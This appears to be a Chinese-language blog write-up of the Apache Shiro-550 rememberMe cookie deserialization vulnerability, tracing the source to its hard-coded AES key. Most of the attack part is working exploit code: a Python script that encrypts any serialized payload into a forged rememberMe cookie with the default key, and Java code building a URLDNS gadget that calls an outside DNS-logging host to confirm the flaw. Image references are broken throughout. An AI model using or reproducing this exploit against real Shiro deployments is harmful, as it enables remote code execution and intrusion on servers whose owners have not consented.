简介
该漏洞的原因是因为固定的key 加密
分析
通过搜索cookie 就可以很快的发现这个类
)
然后通过分析发现里面存在
rememberSerializedIdentity 这个明显是一个序列化的过程
-20251010171719172.(null))
既然存在序列化的过程那么肯定存在反序列化的过程
-20251010171726205.(null))
发现确实存在这个
这个的函数其实很简单就是将这个base64解码之后然后返回给其他函数
我们可以尝试找一下在哪里调用了这个
-20251010171735187.(null))
从函数的名字其实就可以发现获取认证信息
那么看看如何获取的详细信息
-20251010171743597.(null))
然后继续
看convertBytesToPrincipals

发现是要给解密然后反序列化
这个时候其实就可以断定这个存在问题了
因为这个反序列化的对象是我们可控的,然后这个就会自动的进行反序列化操作
可以看一下解密的地方
-20251010171747711.(null))
-20251010171753464.(null))
通过签名可以猜测出是要给对称加密
可以尝试找一个key 是什么
-20251010171757471.(null))
-20251010171800729.(null))
-20251010171803906.(null))
一直往上找的话会找到
-20251010171807008.(null))
由于找到了这个key 可以从注释中发现是aes 加密,这个导致了我们可以任意的去操控这个cookie 从而导致反序列化漏洞
复制到利用工具中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| import base64 import sys from Crypto.Cipher import AES import uuid import codecs
class Shiro550CookieGenerator: def __init__(self, key, ser_file): """初始化Shiro cookie生成器""" self.key = key self.ser_file = ser_file self.key = self._pad_key(key) def _pad_key(self, key): """填充密钥到16字节""" key = key.encode('utf-8') if isinstance(key, str) else key if len(key) < 16: key += b'\0' * (16 - len(key)) return key[:16] def _encrypt(self, data): """使用AES算法加密数据""" iv = b'\0' * 16 cipher = AES.new(self.key, AES.MODE_CBC, iv) data = self._pkcs7_pad(data) encrypted = cipher.encrypt(data) return encrypted def _pkcs7_pad(self, data): """PKCS7填充""" block_size = 16 padding = block_size - (len(data) % block_size) return data + bytes([padding]) * padding def generate_cookie(self): """生成Shiro RememberMe cookie""" try: with open(self.ser_file, 'rb') as f: serialized_data = f.read() encrypted_data = self._encrypt(serialized_data) base64_encrypted = base64.b64encode(encrypted_data) remember_me_cookie = base64_encrypted.decode('utf-8') jsession_id = str(uuid.uuid4()) return { 'rememberMe': remember_me_cookie, 'JSESSIONID': jsession_id } except Exception as e: print(f"生成cookie时出错: {e}") return None
def print_cookie_info(cookie): """格式化输出cookie信息""" if not cookie: return print("\n===== 生成的Shiro Cookie信息 =====") print(f"rememberMe: {cookie['rememberMe']}") print(f"JSESSIONID: {cookie['JSESSIONID']}") print("\n===== HTTP请求头示例 =====") print(f"Cookie: rememberMe={cookie['rememberMe']}; JSESSIONID={cookie['JSESSIONID']}") print("================================\n")
def main(): """主函数""" hardcoded_key = "kPH+bIxk5D2deZiIxcaaaA==" if len(sys.argv) < 2: print("用法: python exp.py <ser.bin文件路径>") print("示例: python exp.py ./ser.bin") return ser_file = sys.argv[1] generator = Shiro550CookieGenerator(hardcoded_key, ser_file) cookie = generator.generate_cookie() print_cookie_info(cookie)
if __name__ == "__main__": main()
|
Shiro 依赖分析
由于shiro 本身是没有cc 的,支撑尝试攻击一下cb 和Java 本身的链子
测试
我们可以通过DNSURL 这条链子判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package org.apache.shiro;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.crypto.CipherService; import org.apache.shiro.util.ByteSource; import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder;
import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.FileWriter; import java.io.ObjectOutputStream; import java.io.StringReader; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class Main { public static void main(java.lang.String[] args) throws Exception { String AesKey = "kPH+bIxk5D2deZiIxcaaaA=="; CipherService cipherService = new AesCipherService(); byte[] key = new BASE64Decoder().decodeBuffer(AesKey); Cipher cip = Cipher.getInstance("AES"); SecretKeySpec skeySpec = new SecretKeySpec(key, "AES"); cip.init(Cipher.ENCRYPT_MODE, skeySpec); HashMap ht = new HashMap(); URL u = new URL("http://0ce66042bb.ddns.1433.eu.org.");
Class<? extends URL> urlClass = u.getClass(); Field hashCodeField = urlClass.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(u, 111);
ht.put(u, "1");
hashCodeField.set(u, -1);
ByteOutputStream bos = new ByteOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(ht);
ByteSource encrypted = cipherService.encrypt(bos.getBytes(), key);
String base64en = new BASE64Encoder().encode(encrypted.getBytes()); base64en = base64en.replace("\r\n", ""); base64en = base64en.replace("\t", ""); FileWriter fos = new FileWriter("ser.txt"); StringReader sr = new StringReader(base64en);
fos.write(base64en); fos.close(); } }
|
最后将ser.txt 输出内容替换成remenberme